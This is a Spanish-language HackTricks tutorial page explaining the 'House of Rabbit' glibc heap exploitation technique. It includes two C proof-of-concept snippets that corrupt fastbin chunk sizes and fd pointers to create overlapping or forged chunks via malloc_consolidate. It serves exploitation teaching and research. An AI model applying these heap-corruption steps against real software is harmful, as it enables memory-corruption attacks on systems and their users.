House of Rabbit
Reading time: 4 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Requisitos
- Capacidad para modificar el puntero fd de fast bin o su tamaño: Esto significa que puedes cambiar el puntero hacia adelante de un chunk en el fastbin o su tamaño.
- Capacidad para activar
malloc_consolidate
: Esto se puede hacer al asignar un chunk grande o fusionar el chunk superior, lo que obliga al heap a consolidar chunks.
Objetivos
- Crear chunks superpuestos: Para que un chunk se superponga con otro, permitiendo más manipulaciones del heap.
- Forjar chunks falsos: Para engañar al asignador haciéndole tratar un chunk falso como un chunk legítimo durante las operaciones del heap.
Pasos del ataque
POC 1: Modificar el tamaño de un chunk de fast bin
Objetivo: Crear un chunk superpuesto manipulando el tamaño de un chunk de fastbin.
- Paso 1: Asignar Chunks
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Asignamos dos bloques de 0x40 bytes cada uno. Estos bloques se colocarán en la lista de fast bin una vez liberados.
- Paso 2: Liberar Bloques
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Liberamos ambos bloques, añadiéndolos a la lista fastbin.
- Paso 3: Modificar el Tamaño del Bloque
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Cambiamos los metadatos de tamaño de chunk1
a 0xa1. Este es un paso crucial para engañar al asignador durante la consolidación.
- Paso 4: Activar
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Asignar un gran bloque activa la función malloc_consolidate
, fusionando pequeños bloques en el fast bin. El tamaño manipulado de chunk1
provoca que se superponga con chunk2
.
Después de la consolidación, chunk1
se superpone con chunk2
, lo que permite una mayor explotación.
POC 2: Modificar el puntero fd
Objetivo: Crear un bloque falso manipulando el puntero fd
del fast bin.
- Paso 1: Asignar Bloques
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Explicación: Asignamos dos bloques, uno más pequeño y uno más grande, para preparar el heap para el bloque falso.
- Paso 2: Crear bloque falso
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Escribimos metadatos de chunk falsos en chunk2
para simular chunks más pequeños.
- Paso 3: Liberar
chunk1
free(chunk1); // Frees the chunk at 0x602000
Explicación: Liberamos chunk1
, añadiéndolo a la lista fastbin.
- Paso 4: Modificar
fd
dechunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Explicación: Cambiamos el puntero hacia adelante (fd
) de chunk1
para que apunte a nuestro chunk falso dentro de chunk2
.
- Paso 5: Activar
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Asignar un gran bloque nuevamente activa malloc_consolidate
, que procesa el bloque falso.
El bloque falso se convierte en parte de la lista fastbin, convirtiéndolo en un bloque legítimo para una mayor explotación.
Resumen
La técnica House of Rabbit implica modificar el tamaño de un bloque fast bin para crear bloques superpuestos o manipular el puntero fd
para crear bloques falsos. Esto permite a los atacantes forjar bloques legítimos en el heap, habilitando varias formas de explotación. Comprender y practicar estos pasos mejorará tus habilidades de explotación de heap.
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.